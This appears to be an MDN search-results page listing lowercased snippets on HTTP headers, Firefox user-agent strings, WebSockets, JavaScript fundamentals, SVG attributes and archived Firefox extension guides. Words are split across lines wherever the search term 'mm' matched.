mment firefox image/webp,*/* (since firefox 65) */* (since firefox 47) image/png,image/*;q=0.8,*/*;q=0.5 (before) this value can be modified using the image.http.accept parameter. source safari */* chrome image/webp,image/apng,image/*,*/*;q=0.8 source internet explorer 8 or earlier */* see ie and the accept header (ieint...
...net explorer 8 or earlier */* see ie and the accept header (ieinternals' msdn blog) internet explorer 9 image/png,image/svg+xml,image/*;q=0.8, */*;q=0.5 see fiddler is better with internet explorer 9 (ieinternals' msdn blog) values for a video when a video is requested, via the <video> html element, most browsers use specific values. ...
...And 3 more matches
Firefox user agent string reference - HTTP
ing in gecko 2.0, see final user agent string for firefox 4 (blog post). see also this document on user agent sniffing and this hacks blog post. general form the ua string of firefox itself is broken down into four components: mozilla/5.0 (platform; rv:geckoversion) gecko/geckotrail firefox/firefoxversion mozilla/5.0 is the general token that says the browser is mozilla compatible, and is co
mmon to almost every browser today. platform describes the native platform the browser is running on (e.g. windows, mac, linux or android), and whether or not it's a mobile phone. firefox os phones simply say "mobile"; the web is the platform. note that platform can consist of multiple "; "-separated tokens. see below for further details and examples. though fixed in firefox 69, previous 3...
...version of gecko (such as "17.0"). in recent browsers, geckoversion is the same as firefoxversion. gecko/geckotrail indicates that the browser is based on gecko. on desktop, geckotrail is the fixed string "20100101" firefox/firefoxversion indicates the browser is firefox, and provides the version (such as "17.0"). from firefox 10 on mobile, geckotrail is the same as firefoxversion. the reco
mmended way of sniffing for gecko-based browsers (if you have to sniff for the browser engine instead of using feature detection) is by the presence of the "gecko" and "rv:" strings, since some other browsers include a "like gecko" token. for other products based on gecko, the string can take one of two forms, where the tokens have the same meaning except those noted below: mozilla/5.0 (platform; ...
...o user agent string mac os x on intel x86 or x86_64 mozilla/5.0 (macintosh; intel mac os x x.y; rv:10.0) gecko/20100101 firefox/10.0 mac os x on powerpc mozilla/5.0 (macintosh; ppc mac os x x.y; rv:10.0) gecko/20100101 firefox/10.0 linux linux is a more diverse platform. your distribution of linux might include an extension that changes your user-agent. a few co
mmon examples are given below. linux version gecko user agent string linux desktop on i686 cpu mozilla/5.0 (x11; linux i686; rv:10.0) gecko/20100101 firefox/10.0 linux desktop on x86_64 cpu mozilla/5.0 (x11; linux x86_64; rv:10.0) gecko/20100101 firefox/10.0 nokia n900 linux mobile, on the fennec browser mozilla/5.0 (maemo; linux armv7l; rv:10.0) ...
...And 3 more matches
Protocol upgrade mechanism - HTTP
nd sends back a regular response (for example, a 200 ok). right after sending the 101 status code, the server can begin speaking the new protocol, performing any additional protocol-specific handshakes as necessary. effectively, the connection becomes a two-way pipe as soon as the upgraded response is complete, and the request that initiated the upgrade can be completed over the new protocol. co
mmon uses for this mechanism here we look at the most co
mmon use cases for the upgrade header. upgrading to a websocket connection by far, the most co
mmon use case for upgrading an http connection is to use websockets, which are always implemented by upgrading an http or https connection. keep in mind that if you're opening a new connection using the websocket api, or any library that does websoc...
... by the browser and server when they're talking to each other. sec-websocket-extensions specifies one or more protocol-level websocket extensions to ask the server to use. using more than one sec-websocket-extension header in a request is permitted; the result is the same as if you included all of the listed extensions in one such header. sec-websocket-extensions: extensions extensions a co
mma-separated list of extensions to request (or agree to support). these should be selected from the iana websocket extension name registry. extensions which take parameters do so by using semicolon delineation. for example: sec-websocket-extensions: superspeed, colormode; depth=16 sec-websocket-key provides information to the server which is needed in order to confirm that the client is entitl...
...ey. sec-websocket-protocol the sec-websocket-protocol header specifies one or more websocket protocols that you wish to use, in order of preference. the first one that is supported by the server will be selected and returned by the server in a sec-websocket-protocol header included in the response. you can use this more than once in the header, as well; the result is the same as if you used a co
mma-delineated list of subprotocol identifiers in a single header. sec-websocket-protocol: subprotocols subprotocols a co
mma-separated list of subprotocol names, in the order of preference. the subprotocols may be selected from the iana websocket subprotocol name registry or may be a custom name jointly understood by the client and the server. sec-websocket-version request header specifies ...
...And 3 more matches
JavaScript data types and data structures - JavaScript
this article attempts to list the built-in data structures available in javascript and what properties they have. these can be used to build other data structures. wherever possible, comparisons with other languages are drawn. dynamic typing javascript is a loosely typed and dynamic language. ...
...ly valuable purpose of typeof operator usage is checking the data type. if we wish to check any structural type derived from object it is pointless to use typeof for that, as we will always receive "object". the indeed proper way to check what sort of object we are using is instanceof keyword. but even in that case there might be misconceptions. primitive values all types except objects define i
mmutable values (that is, values which can't be changed). for example (and unlike in c), strings are i
mmutable. we refer to values of these types as "primitive values". boolean type boolean represents a logical entity and can have two values: true and false. see boolean and boolean for more details. null type the null type has exactly one value: null. see null and null for more details. undefin...
...erchangeably with numbers. instead a typeerror will be thrown. string type javascript's string type is used to represent textual data. it is a set of "elements" of 16-bit unsigned integer values. each element in the string occupies a position in the string. the first element is at index 0, the next at index 1, and so on. the length of a string is the number of elements in it. unlike some progra
mming languages (such as c), javascript strings are i
mmutable. this means that once a string is created, it is not possible to modify it. however, it is still possible to create another string based on an operation on the original string. for example: a substring of the original by picking individual letters or using string.substr(). a concatenation of two strings using the concatenation operat...
...And 3 more matches
Expressions and operators - JavaScript
omplete and detailed list of operators and expressions is also available in the reference. operators javascript has the following types of operators. this section describes the operators and contains information about operator precedence. assignment operators comparison operators arithmetic operators bitwise operators logical operators string operators conditional (ternary) operator co
mma operator unary operators relational operators javascript has both binary and unary operators, and one special ternary operator, the conditional operator. a binary operator requires two operands, one before the operator and one after the operator: operand1 operator operand2 for example, 3+4 or x*y. a unary operator requires a single operand, either before or after the operator: operator ...
...2 <= 5 note: (=>) is not an operator, but the notation for arrow functions. arithmetic operators an arithmetic operator takes numerical values (either literals or variables) as their operands and returns a single numerical value. the standard arithmetic operators are addition (+), subtraction (-), multiplication (*), and division (/). these operators work as they do in most other progra
mming languages when used with floating point numbers (in particular, note that division by zero produces infinity). for example: 1 / 2; // 0.5 1 / 2 == 1.0 / 2.0; // this is true in addition to the standard arithmetic operations (+, -, *, /), javascript provides the arithmetic operators listed in the following table: arithmetic operators operator description example ...
... returns 0.1. bitwise operators a bitwise operator treats their operands as a set of 32 bits (zeros and ones), rather than as decimal, hexadecimal, or octal numbers. for example, the decimal number nine has a binary representation of 1001. bitwise operators perform their operations on such binary representations, but they return standard javascript numerical values. the following table su
mmarizes javascript's bitwise operators. bitwise operators operator usage description bitwise and a & b returns a one in each bit position for which the corresponding bits of both operands are ones. bitwise or a | b returns a zero in each bit position for which the corresponding bits of both operands are zeros. bitwise xor a ^ b retur...
...And 3 more matches
Memory Management - JavaScript
emory management primitives such as malloc() and free(). in contrast, javascript automatically allocates memory when objects are created and frees it when they are not used anymore (garbage collection). this automaticity is a potential source of confusion: it can give developers the false impression that they don't need to worry about memory management. memory life cycle regardless of the progra
mming language, the memory life cycle is pretty much always the same: allocate the memory you need use the allocated memory (read, write) release the allocated memory when it is not needed anymore the second part is explicit in all languages. the first and last parts are explicit in low-level languages but are mostly implicit in high-level languages like javascript. allocation in javascript ...
...s the same: allocate the memory you need use the allocated memory (read, write) release the allocated memory when it is not needed anymore the second part is explicit in all languages. the first and last parts are explicit in low-level languages but are mostly implicit in high-level languages like javascript. allocation in javascript value initialization in order to not bother the progra
mmer with allocations, javascript will automatically allocate memory when values are initially declared. var n = 123; // allocates memory for a number var s = 'azerty'; // allocates memory for a string var o = { a: 1, b: null }; // allocates memory for an object and contained values // (like object) allocates memory for the array and // contained values var a = [1, null, 'abra']; function f(...
...unction() { someelement.style.backgroundcolor = 'blue'; }, false); allocation via function calls some function calls result in object allocation. var d = new date(); // allocates a date object var e = document.createelement('div'); // allocates a dom element some methods allocate new values or objects: var s = 'azerty'; var s2 = s.substr(0, 3); // s2 is a new string // since strings are i
mmutable values, // javascript may decide to not allocate memory, // but just store the [0, 3] range. var a = ['ouais ouais', 'nan nan']; var a2 = ['generation', 'nan nan']; var a3 = a.concat(a2); // new array with 4 elements being // the concatenation of a and a2 elements. using values using values basically means reading and writing in allocated memory. this can be done by reading or writing t...
...And 3 more matches
Promise - JavaScript
e. to learn about the way promises work and how you can use them, we advise you to read using promises first. description a promise is a proxy for a value not necessarily known when the promise is created. it allows you to associate handlers with an asynchronous action's eventual success value or failure reason. this lets asynchronous methods return values like synchronous methods: instead of i
mmediately returning the final value, the asynchronous method returns a promise to supply the value at some point in the future. a promise is in one of these states: pending: initial state, neither fulfilled nor rejected. fulfilled: meaning that the operation completed successfully. rejected: meaning that the operation failed. a pending promise can either be fulfilled with a value, or reject...
...handlerejectedb) .then(handlefulfilledc,handlerejectedc); // or, perhaps better ... const mypromise = (new promise(myexecutorfunc)) .then(handlefulfilleda) .then(handlefulfilledb) .then(handlefulfilledc) .catch(handlerejectedany); handling a rejected promise too early has consequences further down the promise chain. sometimes there is no choice, because an error must be handled i
mmediately. (see throw -999 in the example, below, for a technique to handle the consequences.) on the other hand, in the absence of an i
mmediate need, it is simpler to leave out error handling until a final .catch() statement. the signatures of these two functions are simple, they accept a single parameter of any type. these functions are written by you, the progra
mmer. the termination condition o...
...ion for an already "settled" promise will occur only after the stack has cleared and a clock-tick has passed. the effect is much like that of settimeout(action,10). const promisea = new promise( (resolutionfunc,rejectionfunc) => { resolutionfunc(777); }); // at this point, "promisea" is already settled. promisea.then( (val) => console.log("asynchronous logging has val:",val) ); console.log("i
mmediate logging"); // produces output in this order: // i
mmediate logging // asynchronous logging has val: 777 constructor promise() creates a new promise object. the constructor is primarily used to wrap functions that do not already support promises. static methods promise.all(iterable) wait for all promises to be resolved, or for any to be rejected. if the returned promise resolves...
...And 3 more matches
Performance fundamentals - Web Performance
upside down, starving your brain of inputs to create the illusion of discrete reality). on a computer display, a higher framerate simply makes for a more faithful imitation of reality. note: humans usually cannot perceive differences in framerate above 60hz. that's why most modern electronic displays are designed to refresh at that rate. a television probably looks choppy and unrealistic to a hu
mmingbird, for example. memory usage memory usage is another key metric. unlike responsiveness and framerate, users don't directly perceive memory usage, but memory usage closely approximates "user state". an ideal system would maintain 100% of user state at all times: all applications in the system would run simultaneously, and all applications would retain the state created by the user the last...
...engine supports just-in-time (jit) compilation. this enables application logic to perform comparably to other virtual machines — such as java virtual machines — and in some cases even close to "native code". the graphics pipeline in gecko that underpins html, css, and canvas is optimized in several ways. the html/css layout and graphics code in gecko reduces invalidation and repainting for co
mmon cases like scrolling; developers get this support "for free". pixel buffers painted by both gecko "automatically" and applications to canvas "manually" minimize copies when being drawn to the display framebuffer. this is done by avoiding intermediate surfaces where they would create overhead (such as per-application "back buffers" in many other operating systems), and by using special memory fo...
... turns off. fully static content is the exception rather than the rule for rich applications. rich applications use dynamic content with animation and transition effects. transitions and animations are particularly important to applications: developers can use css to declare complicated behaviour with a simple, high-level syntax. in turn, gecko's graphics pipeline is highly optimized to render co
mmon animations efficiently. co
mmon-case animations are "offloaded" to the system compositor, which can render them in a performant, power-efficient fashion. an app's startup performance matters just as much as its runtime performance. gecko is optimized to load a wide variety of content efficiently: the entire web! many years of improvements targeting this content, like parallel html parsing, inte...
...And 3 more matches
cx - SVG: Scalable Vector Graphics
scalable vector graphics (svg) 1.1 (second edition)the definition of 'cx' in t...
...8" fill="url(#mygradient000)" stroke="black" /> <rect x="13" y="1" width="8" height="8" fill="url(#mygradient050)" stroke="black" /> <rect x="25" y="1" width="8" height="8" fill="url(#mygradient100)" stroke="black" /> </svg> specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'cx' in that specification. ...
..."1" width="8" height="8" fill="url(#mygradient100)" stroke="black" /> </svg> specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'cx' in that specification. candidate reco
mmendation definition as a geometry property scalable vector graphics (svg) 2the definition of 'cx' in that specification. candidate reco
mmendation definition for svg2 paint servers. scalable vector graphics (svg) 1.1 (second edition)the definition of 'cx' in that specification. ...
...And 3 more matches
cy - SVG: Scalable Vector Graphics
scalable vector graphics (svg) 1.1 (second edition)the definition of 'cy' in t...
...8" fill="url(#mygradient000)" stroke="black" /> <rect x="13" y="1" width="8" height="8" fill="url(#mygradient050)" stroke="black" /> <rect x="25" y="1" width="8" height="8" fill="url(#mygradient100)" stroke="black" /> </svg> specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'cy' in that specification. ...
..."1" width="8" height="8" fill="url(#mygradient100)" stroke="black" /> </svg> specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'cy' in that specification. candidate reco
mmendation definition as a geometry property scalable vector graphics (svg) 2the definition of 'cy' in that specification. candidate reco
mmendation definition for svg2 paint servers. scalable vector graphics (svg) 1.1 (second edition)the definition of 'cy' in that specification. ...
...And 3 more matches
points - SVG: Scalable Vector Graphics
it makes things more readable for human beings. --> </svg> polyline for <polyline>, points defines a list of points, each representing a vertex of the line to be drawn. each point is define by a x and y coordinate in the user coordinate system. note: a polyline is an open shape, meaning the last point is not connected to the first point. ...
...t point. ...
...html,body,svg { height:100% } <svg viewbox="-10 -10 120 120" xmlns="http://www.w3.org/2000/svg"> <!-- polygon is an closed shape --> <polygon stroke="black" fill="none" points="50,0 21,90 98,35 2,35 79,90" /> </svg> specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'points' in that specification. ...
...And 3 more matches
Namespaces crash course - SVG: Scalable Vector Graphics
nt. the declaration defines the default namespace, so the user agent knows that all the <svg> element's descendants also belong to the same namespace. user agents check to see if they recognize the namespace name to determine if they know how to handle the markup. note that namespace names are just strings, so the fact that the svg namespace name also looks like a uri isn't important. uris are co
mmonly used because they are unique, the intention is not to "link" somewhere. (in fact uris are used so frequently that the term "namespace uri" is co
mmonly used instead of "namespace name".) redeclaring the default namespace so if all the descendants of the root element are also defined to be in the default namespace, how do you mix in content from another namespace? easy. you just redefine the ...
... to be unique because they appear on an element that itself has a unique name. however, sometimes it is necessary to define parameters so that they can be reused on many different elements and still be considered to be the same parameter, independently of the element with which they are used. a very good example of this is the href parameter defined by the xlink specification. this parameter is co
mmonly used by other xml dialects as a means to link to external resources. but how do you tell the user agent which dialect the parameter belongs to, in this case xlink? consider the following example. <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <script xlink:href="cool-script.js" type="text/ecmascript"/> </svg> this example has the rather unusual l...
...s used for the <svg:svg> element and its child <svg:circle>, it wasn't necessary to redeclare the default namespace. in general though it is better to redeclare the default namespace rather than prefix lots of elements in this way. scripting in namespaced xml namespaces affect not only markup, but also scripting. if you write scripts for namespaced xml such as svg, read on. the dom level 1 reco
mmendation was created before the original namespaces in xml reco
mmendation was released; therefore, dom1 isn't namespace aware. this causes problems for namespaced xml such as svg. to resolve these problems, dom level 2 core added namespace aware equivalents of all the applicable dom level 1 methods. when scripting svg, it is important to use the namespace aware methods. the table below lists the d...
...And 3 more matches
page-worker - Archive of obsolete content
l() method of the self module. while content scripts can access dom content, they can't access any of the sdk apis, so in many cases you'll need to exchange messages between the content script and your main add-on code for a complete solution. for example, the content script might read some content and send it back to the main add-on, which could store it using the simple-storage api. you can co
mmunicate with the script using either the postmessage() api or (preferably, usually) the port api. for example, this add-on loads a page from wikipedia, and runs a content script in it to send all the headers back to the main add-on code: var pageworkers = require("sdk/page-worker"); // this content script sends header titles from the page to the add-on: var script = "var elements = document.que...
...ta directory and load them using page-worker. we can call this "trusted" content, because unlike content loaded from a source outside the add-on, the add-on author knows exactly what it's doing. to interact with trusted content you don't need to use content scripts: you can just include a script from the html file in the normal way, using <script> tags. like a content script, these scripts can co
mmunicate with the add-on code using the postmessage() api or the port api. the crucial difference is that these scripts access the postmessage and port objects through the addon object, whereas content scripts access them through the self object. so given an add-on that loads trusted content and uses content scripts to access it, there are typically three changes you have to make, if you want to u...
... contentscript string,array a string or an array of strings containing the texts of content scripts to load. content scripts specified by this option are loaded after those specified by the contentscriptfile option. contentscriptwhen string when to load the content scripts. ...
...And 2 more matches
Using third-party modules (jpm) - Archive of obsolete content
the add-on sdk includes a co
mmand-line tool that you use to initialize, run, test, and package add-ons. the current tool is called jpm, and is based on node.js. it replaces the old cfx tool. you can use jpm from firefox 38 onwards. this article describes how you can use third-party modules with jpm. to follow this tutorial you'll need to have installed jpm and learned the basic jpm co
mmands. to install menuitem you'll need to have git co
mmand. if you have error related to git, check you have latest git co
mmand installed. the add-on sdk is extensible by design: you can use the modules that ship inside firefox, but you can also create your own modules and make them available for anyone else to use. ...
... with jpm, we use npm as the package manager for sdk modules that don't ship inside firefox. ...
... with jpm, we use npm as the package manager for sdk modules that don't ship inside firefox. module developers can publish sdk modules to npm, and add-on developers can install them from npm and build them into their add-ons. ...
...And 2 more matches
Creating custom Firefox extensions with the Mozilla build system - Archive of obsolete content
t's gotten good reviews. follow every step methodically and you'll probably be alright. focus on the fact that once you get the build working, it'll probably work effortlessly from then on. maybe. on other platforms on other platforms, namely linux and macos, the process is much easier. all the tools for building are available built-in, and therefore all you have to do is run some co
mmands in the terminal. you can find full instructions for almost any os here. structuring your project mozilla includes a number of complex extensions that are integrated into its build process. it has thus been necessary to solve all of the issues involved in creating and registering xpcom components, building jar files and manifests, installing the lot into the firefox extensions/ d...
...contain the implementation of the extension's two components. the final file, myextension.cpp, contains the code necessary to register these components, as described in the next section. registering your components this article explains how to register xpcom components in gecko 2.0 and later. building it as mentioned above, you'll probably want to build your extension i
mmediately after creating your idl files in order to generate the c++ stubs for your component implementations. i'm assuming that you've already built firefox successfully. if not, return i
mmediately to the beginning of this article and don't come back til you have a functioning firefox.exe. do not pass go. do not collect $200. still here? okay, now we have to modify your .mozconfig (in the /...
...script to know where your source is (it'll use the extension path you gave it relative to the current dir to figure out where you want your makefiles to go). this will generate the proper makefile for your extension. whether you build the whole mozilla tree or take this shortcut, you can build from now on by going to /mozilla/$(moz_objdir)/extensions/myextension/ and typing "make" on the co
mmand line. it should build your component without bothering with the rest of mozilla. if everything works out, you'll see your xpi file in the xpi staging area. you'll also see the "exploded" version of the xpi (i.e. the unzipped directory structure) underneath /mozilla/$(moz_objdir)/dist/bin/extensions. (if something goes wrong, figure out what, fix it and then come back here and add it to this ar...
...And 2 more matches
Extension Versioning, Update and Compatibility - Archive of obsolete content
you can ...
...to do this, just provide new em:id in install.rdf within new xpi ...
...his represents the same description within the li from the previous example --> <rdf:description about="urn:mozilla:extension:foobar@developer.mozilla.org:2.2"> <em:version>2.2</em:version> <!-- tri
mmed the rest of the contents here --> </rdf:description> <rdf:description about="urn:mozilla:extension:foobar@developer.mozilla.org:2.5"> <em:version>2.5</em:version> <!-- tri
mmed the rest of the contents here --> </rdf:description> </rdf:rdf> note: it is possible to change the id of add-on through add-on update. to do this, just provide new em:id in install.rdf within new xpi file, and put its url in em:updatelink in update.rdf. providing details about updates general it is possible to provide the user some details about what is new in an updated version of y...
...And 2 more matches
Appendix D: Loading Scripts - Archive of obsolete content
ng and executing javascript code. because there are such a diverse array of add-ons, and because the needs of developers have grown organically over time, the gecko runtime provides a number of means to dynamically load and execute javascript files. each of these means has its own advantages and disadvantages, as well as its own quirks which may trap the unwary. below is an overview of the more co
mmon means of loading scripts, along with some of their primary advantages, disadvantages, quirks, and use cases. the examples below which make use of the services global assume that you're previously imported the services.jsm module. as this module only exists on firefox 4 and other gecko 2-based platforms, the services in question will have to be manually loaded on other platforms. <script> ta...
...ko 2-based platforms, the services in question will have to be manually loaded on other platforms. <script> tags xul script tags are traditionally the primary means of loading scripts for extension developers. these tags are generally inserted into xul overlay files or other xul documents, after which they are automatically loaded into the context of the xul window in question and executed i
mmediately and synchronously. advantages familiarity: these tags are very similar to the html script tags familiar to most web developers. simplicity: the simple, declarative nature of these tags make them easy to find and understand at a glance. speed: script tags may or may not be loaded from pre-compiled bytecode in the fastload cache (gecko 1.x) or startup cache (gecko 2), which means they...
... a private or otherwise specific scope. speed: even if these scripts are loaded from a cache, only read and compile time are reduced. the scripts still need to execute all of their initialization code and allocate and initialize all of their data structures each time the script is loaded. loading: script loaded via script tags run in partially loaded documents. problems can ensue if the script i
mmediately attempts to access dom nodes. this is easily resolved by deferring the work to a dynamically added onload hander. (a standalone xul window can use an onload attribute.) example the following overlay will load the script “overlay.js” from the same directory as the overlay file into the window which it overlays. the script will be read with the utf-8 encoding, based on the encoding o...
...And 2 more matches
Connecting to Remote Content - Archive of obsolete content
« previousnext » using xmlhttprequest xmlhttprequest is an api for transferring xml between a local script and a remote server via http. it is an integral part of the modern web, and all major browsers support it. besides xml, it can be used to retrieve data in other formats, for example json, html and plain text. in this section we'll look into the xml and json co
mmunication mechanisms. let url = "http://www.example.com/"; let request = components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"] .createinstance(components.interfaces.nsixmlhttprequest); request.onload = function(aevent) { window.alert("response text: " + aevent.target.responsetext); }; request.onerror = function(aevent) { window.alert("error status: " + aevent.target.status); }; request.open("g...
...the content type of the request and to pass the post data to the send() method as below. request.open("post", url, true); request.setrequestheader("content-type", "application/x-www-form-urlencoded"); request.send("data=hello&version=2"); the third parameter for the open method specifies whether the request should be handled asynchronously or not. ...
... json content json is a very lightweight and simple data representation format, similar to the object representation used in javascript. unlike javascript, the json format doesn't allow any kind of code that can be run, only data. ...
...And 2 more matches
Custom XUL Elements with XBL - Archive of obsolete content
for your element. <content> <xul:hbox> <xul:image class="xulshoolhello-person-image" xbl:inherits="src=image" /> <xul:vbox flex="1"> <xul:label xbl:inherits="value=name" /> <xul:description xbl:inherits="value=greeting" /> </xul:vbox> <xul:vbox> <xul:button label="&xulshoolhello.remove.label;" accesskey="&xulshoolhello.remove.accesskey;" onco
mmand="document.getbindingparent(this).remove(event);" /> </xul:vbox> </xul:hbox> </content> our element is very simple, displaying an image, a couple of text lines and a button. here are a couple of important things to notice: the "xul:" namespace must be used for all xul tags you have in your content. the xbl:inherits attribute lets your inner xul use the attributes that are set on th...
...be used for all xul tags you have in your content. the xbl:inherits attribute lets your inner xul use the attributes that are set on the node. so, if you have this: <xshelloperson name="pete" greeting="good morning" image="" />, then those attribute values are "inherited" to the content nodes that have this special attribute. the value attribute of the xul:label element would be "pete". the onco
mmand attribute of the button has some code you've probably never seen before: document.getbindingparent(this). this code gets the dom object that corresponds to the xshelloperson tag, allowing you access to its methods and properties. in this case we're calling the remove method, which we will discuss later on. if you need to create a container element, or any other element that has child nodes, ...
...dule. most xul elements have basic presentation logic, and any other functionality is processed elsewhere. plus, xbl files are significantly harder to manage than regular js files. we prefer to err on the side of simplicity and keep the xbl as simple as possible. if that means having outside dependencies, so be it. but you can still keep some separation and versatility by using custom events to co
mmunicate to the outside world. this way you reduce your dependency on specific scripts, and your tag behaves more like the rest. just like fields and properties, methods are easy to invoke if you have a reference to the object that corresponds to the node. we have experienced problems when calling methods and setting properties on xbl nodes right after they are created and inserted to the doc...
...And 2 more matches
Mozilla Documentation Roadmap - Archive of obsolete content
there's a great deal of free online documentation available on xul and extension development, but finding it and turning it into useful information can be a daunting task. knowing where to look is critical and non trivial. this tutorial was aimed at compiling all the right resources for extension development and putting them in the right context, but there's much more to learn, and knowing how to find it is part of what we felt was necessary to teach. ...
...thing related to mozilla. mdc is where this tutorial is hosted, and where most of its links point to. it encompasses firefox, other mozilla products, javascript, css, xul, web and extension development guidelines, accessibility, usability, best practices... the list goes on. it's incredibly comprehensive, and its underlying wiki technology makes it easy to expand and evolve with the help of the co
mmunity. having said that, there are a few problems with it. first of all, the in-site search is not reliable, so we reco
mmend using a search engine like google, with queries such as "mdc javascript code modules" or "javascript code modules site:developer.mozilla.org". secondly, there are several important articles that are very lacking in information, like the preferences system page. and finally,...
...hese provide advanced search capabilities, including regular expression search and file path search. you'll be able to navigate the full source tree, inspect the change history for all files, and link to specific code lines. it takes a little getting used to, specially learning how to choose the best search queries, but it's an invaluable resource of information. mozilla blogs several mozilla co
mmunity members maintain blogs that are updated frequently, often including information on api changes, bug fixes, useful tools and future release plans. many of the tips and tricks included in this tutorial were discovered by reading these blogs. there are several useful feeds that you can follow using a feed reader, such as thunderbird. here are some important feeds you should consider following:...
...And 2 more matches
The Box Model - Archive of obsolete content
re composed of these simple ingredients. complex elements are created from simpler ones through xbl, which will be covered later on. once you grasp this simple idea, you'll be able to use the dom inspector and css to mold xul elements and layouts with great precision and flexibility. most of the examples shown in the rest of this section were generated using the xul box alignment example. we reco
mmend you play around with it for a while to get an idea of how the basic parts of the box model work. in order to use this page, you'll need to install the remote xul manager extension and add developer.mozilla.org to the whitelist. boxes a xul box is very similar to an html div. it's an invisible rectangular container with no styling at all (divs may have some default styling, though). their beh...
...ders by default): if you use a vbox instead, it looks like this: the orientation of boxes (and most xul elements) can be controlled using the orient attribute or the -moz-box-orient css property. with these you can make an hbox have vertical orientation and viceversa, although that isn't very useful. the css property may be useful on some occasions, but using the orient attribute is not reco
mmended because it mixes content and presentation. flexibility an html div is as big as its contents unless you override its dimensions using css. this is similarly the case for xul, except there are two flexibility directions to consider. an hbox is as big as its contents horizontally, but it will occupy all the available space vertically. you can make an hbox flexible horizontally with the css ...
...nts of the elements, in this case, the labels and paddings in the buttons. if the label of the "parrot" button was something much longer, the size ratio would not be kept. you can have even more control over the size of flexible elements using the minwidth, maxwidth, minheight and maxheight attributes, or their css counterparts: min-width, max-width, min-height and max-height. the latter are reco
mmended to keep style code in the skin section of the chrome. as their names should make clear, you can control the flexibility boundaries of elements, thus preventing them from growing or shrinking too much. all css properties involving lengths should be handled with caution. we reco
mmended that you use proportional units (em, %) instead of absolute units (px) whenever possible. using the former...
...And 2 more matches
Setting up an extension development environment - Archive of obsolete content
parameters: /path/to/firefox -no-remote -p profilename without these parameters, the default behavior of your mozilla applications is to only open the everyday user profile: named default. as we are specifically defining the user profile dev, if you don't have the dev profile already created, the profile selection window opens, where you can create it. in the following example, the described co
mmand starts a new instance of firefox, with a profile called dev; even if an instance of firefox is already running. on ubuntu (and many other linux distributions): /usr/bin/firefox -no-remote -p dev on other distributions of linux/unix: /usr/local/bin/firefox -no-remote -p dev on macos mavericks (10.9) and newer: /applications/firefox.app/contents/macos/firefox-bin -no-remote -p dev & on ...
...r. (linux, mac os x, windows instructions.) you'll see the list of available user profiles one which is default (stable) and other (unstable) profile(s) created automatically when you run other versions of firefox earlier. choose default and uncheck "don't ask at startup" checkbox. click "start firefox". now when you start any version of firefox you may choose any profile you like. development co
mmand flags as of gecko 2 (firefox 4), javascript files are cached ("fastload"). the -purgecaches co
mmand-line flag disables this behavior. alternatively, you can set the moz_purge_caches environment variable. see this bug for more information. development preferences there is a set of development preferences that, when enabled, allows you to view more information about application activity, thus...
..., type about:config in the location bar. you can also use the extension developer's extension, which provides a menu interface for firefox settings. accessing thunderbird development preferences to change preference settings in thunderbird, open the "preferences" (unix) or "options" (windows) interface. on the "advanced" page, select the "general" tab then click the "config editor" button. reco
mmended development preferences not all preferences are defined by default, and are therefore not listed by default. you will have to create new (boolean) entries for them. for more information about mozilla preferences, refer to the mozillazine article on "about:config". tip: you can install either the developer profile or devprefs add-ons to handle setting these preferences automatically, and s...
...And 2 more matches
List of Mozilla-Based Applications - Archive of obsolete content
celtx media tool cenzic hailstorm vulnerability assessment and management tool uses gecko chatzilla irc client standalone version (x...
...for remote control device uses gre or xulrunner longman dictionary of contemporary english cd-rom lotus notes / sametime groupware the latest version of ibm lotus notes and sametime can embed xul applications lucidor e-book reader lx-office accounting tool looks like it makes at least some use of xul maavis simple ui & co
mmunications for accessibility framework designed for elderly people with dementia but other applications mac os x operating system makes use of some mpl files such as libsecurity_asn1 maemo browser browser for maemo internet tablet development name is microb magooclient business process management tool uses mozilla rhino mantra security to...
... simple apps for maemo uses xulrunner moznet .net control embeddable gecko for .net applications wraps xulrunner for use in .net applications my internet browser localized browser uses gecko myna application server javascript application server for java uses mozilla rhino nextcms (fr) cms nightingale music player co
mmunity run effort to continue songbird support for linux olpc web browser browser oneteam jabber client opendocument viewer viewer opengate's tools cd burner, file browser, and hardware diagnostic softwares opengate is the opensource side of the easyneuf project, “a free software computer, easy and preinstalled” open mashup...
...And 2 more matches
Installing plugins to Gecko embedding browsers on Windows - Archive of obsolete content
eating a plugin installer that puts the shared object (dll) in the right place becomes much easier, since the relevant meta-information is present in the win32 system registry. these keys are written by the installer of mozilla browsers -- the netscape 6.2 installer, for example, writes these keys to the registry, and so does the mozilla installer (for versions after mozilla 0.9.1). other major co
mmercial browsers based on gecko have co
mmitted to providing these keys as well. some gecko-based browsers provide additional information via the registry, and where appropriate, these registry keys are also mentioned, with the necessary version caveats. much of this registry data follows as a consequence of the discussions in bug 109402. to find the plugins directory applicable to netscape 6.1, 6.2...
...accessible from javascript, you ought to put the associated xpt file in the components directory. you can access the components value and value-data pair (telling you where the components directory is) in a similar manner, e.g.: components=c:\program files\netscape\netscape 6\components. future mozilla based browsers won't distinguish between plugins and components, and will pick both up from a co
mmon location. however, for netscape 6.1 and netscape 6.2, xpt files, as well as xpcom plugins, ought to go in the components directory. on these browsers, this is the only directory that can "pick up" an xpt file, as well the only directory that can recognize xpcom components. you now have information about the plugins directory for gecko embedding browsers. examples given for "product x.y" were ...
...0.0.0 suggests that netscape 7.0 is built against mozilla 1.0. additional registry information applicable only to compuserve 7.0 and other aol browsers currently in beta only certain other keys may be of use to plugin vendors, but these keys are written mainly by compuserve and other browsers by aol (based on mozilla) which are only in beta currently. ...
...And 2 more matches
No Proxy For configuration - Archive of obsolete content
short, but can hold reasonably long (2k+ characters) entries. new profiles contain the values "localhost, 127.0.0.1", by default. entry points: preferences | advanced | proxies control-click menu for off line-online icon (network plug) configuration the no proxy list is composed of either domain elements or ipv4 address elements. the elements are separated by either a space (" ") or a co
mma (","). note for former-ie users: "*" is supported only at the beginning of domain filters (*.mozilla.org). to block ... put this into "no proxy for" ...for example use... limitations a domain, including sub-domains domain suffix "mozilla.org" does not block domains that end in the same string (amozilla.org) sub-domains domain suffix, starting w...
